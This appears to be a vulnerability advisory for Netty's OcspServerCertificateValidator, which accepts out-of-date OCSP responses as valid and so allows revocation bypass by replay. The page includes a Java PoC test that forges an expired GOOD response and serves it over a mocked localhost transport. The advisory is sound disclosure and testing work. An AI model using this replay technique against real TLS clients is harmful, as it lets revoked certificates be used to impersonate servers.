Netty: Out-of-date OCSP Responses Accepted by OcspServerCertificateValidator
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N상세 설명
Summary
OcspServerCertificateValidator flags an out-of-date OCSP response but does not stop processing it, so an expired GOOD response is still reported as VALID, letting an on-path attacker replay a stale GOOD response to bypass revocation of a since-revoked certificate.
Details
In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered the freshness check has no return, so execution falls through and a VALID OcspValidationEvent is still fired:
1 if (!(current.after(response.getThisUpdate()) && 2 current.before(response.getNextUpdate()))) { 3 ctx.fireExceptionCaught(new IllegalStateException("OCSP Response is out-of-date")); 4 }Nonce validation is optional and off by default, so freshness is the only replay defense — and it is not enforced. Additionally getNextUpdate() may be null, making current.before(null) throw NullPointerException.
https://datatracker.ietf.org/doc/html/rfc6960#section-3.2
1 5. The time at which the status being indicated is known to be 2 correct (thisUpdate) is sufficiently recent; 3 4 6. When available, the time at or before which newer information will 5 be available about the status of the certificate (nextUpdate) is 6 greater than the current time.PoC
Add the test below to io.netty.handler.ssl.ocsp.OcspServerCertificateValidatorTest
1 @Test 2 void staleOcspResponseIsRejected() throws Exception { 3 X509Bundle caRoot = new CertificateBuilder() 4 .algorithm(CertificateBuilder.Algorithm.rsa2048) 5 .subject("CN=TrustedRootCA") 6 .setIsCertificateAuthority(true) 7 .buildSelfSigned(); 8 9 GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");10 AuthorityInformationAccess aia = new AuthorityInformationAccess(11 new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));12 X509Bundle targetCert = new CertificateBuilder()13 .algorithm(CertificateBuilder.Algorithm.rsa2048)14 .subject("CN=TargetServer")15 .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())16 .buildIssuedBy(caRoot);17 18 Date past = new Date(System.currentTimeMillis() - TimeUnit.DAYS.toMillis(7));19 CertificateID certId = new CertificateID(20 new JcaDigestCalculatorProviderBuilder().build().get(CertificateID.HASH_SHA1),21 new JcaX509CertificateHolder(caRoot.getCertificate()),22 targetCert.getCertificate().getSerialNumber());23 BasicOCSPRespBuilder respBuilder = new BasicOCSPRespBuilder(24 new RespID(new JcaX509CertificateHolder(caRoot.getCertificate()).getSubject()));25 respBuilder.addResponse(certId, CertificateStatus.GOOD, past, past);26 BasicOCSPResp expiredBasicResp = respBuilder.build(27 new JcaContentSignerBuilder("SHA256withRSA").build(caRoot.getKeyPair().getPrivate()),28 new X509CertificateHolder[0],29 past);30 final byte[] responseEncoded = new OCSPRespBuilder()31 .build(OCSPRespBuilder.SUCCESSFUL, expiredBasicResp).getEncoded();32 33 IoTransport defaultTransport = createDefaultTransport();34 IoTransport mockTransport = IoTransport.create(defaultTransport.eventLoop(), () -> {35 NioSocketChannel channel = new NioSocketChannel();36 channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {37 @Override38 public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress,39 SocketAddress localAddress, ChannelPromise promise) {40 promise.setSuccess();41 ctx.executor().execute(() -> {42 ctx.pipeline().fireChannelActive();43 DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(44 HttpVersion.HTTP_1_1, HttpResponseStatus.OK,45 Unpooled.wrappedBuffer(responseEncoded));46 httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");47 httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH,48 httpResponse.content().readableBytes());49 ctx.pipeline().fireChannelRead(httpResponse);50 });51 }52 });53 return channel;54 }, defaultTransport.datagramChannel());55 56 SslContext serverSslCtx = SslContextBuilder57 .forServer(targetCert.getKeyPair().getPrivate(),58 targetCert.getCertificate(), caRoot.getCertificate())59 .build();60 Channel serverChannel = new ServerBootstrap()61 .group(defaultTransport.eventLoop())62 .channel(NioServerSocketChannel.class)63 .childHandler(new ChannelInitializer<SocketChannel>() {64 @Override65 protected void initChannel(SocketChannel ch) {66 ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));67 }68 })69 .bind(0).sync().channel();70 71 int serverPort = ((InetSocketAddress) serverChannel.localAddress()).getPort();72 73 AtomicBoolean validEventFired = new AtomicBoolean();74 AtomicReference<Throwable> caughtException = new AtomicReference<>();75 CountDownLatch latch = new CountDownLatch(1);76 77 DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);78 SslContext clientSslCtx = SslContextBuilder.forClient()79 .trustManager(InsecureTrustManagerFactory.INSTANCE)80 .build();81 new Bootstrap()82 .group(defaultTransport.eventLoop())83 .channel(NioSocketChannel.class)84 .handler(new ChannelInitializer<SocketChannel>() {85 @Override86 protected void initChannel(SocketChannel ch) {87 ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", serverPort));88 ch.pipeline().addLast(89 new OcspServerCertificateValidator(true, false, mockTransport, resolver));90 ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {91 @Override92 public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {93 if (evt instanceof OcspValidationEvent &&94 ((OcspValidationEvent) evt).response().status() ==95 OcspResponse.Status.VALID) {96 validEventFired.set(true);97 }98 ctx.fireUserEventTriggered(evt);99 }100 101 @Override102 public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {103 caughtException.compareAndSet(null, cause);104 ctx.channel().close();105 latch.countDown();106 }107 });108 }109 })110 .connect("127.0.0.1", serverPort).sync();111 112 assertTrue(latch.await(5, TimeUnit.SECONDS));113 assertFalse(validEventFired.get(),114 "OcspValidationEvent(VALID) must not be emitted for a stale OCSP response");115 assertNotNull(caughtException.get());116 assertInstanceOf(IllegalStateException.class, caughtException.get());117 118 serverChannel.close().sync();119 resolver.close();120 }Impact
Certificate revocation bypass via replay of an expired OCSP response. Any application using OcspServerCertificateValidator is affected; a revoked certificate can be accepted.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.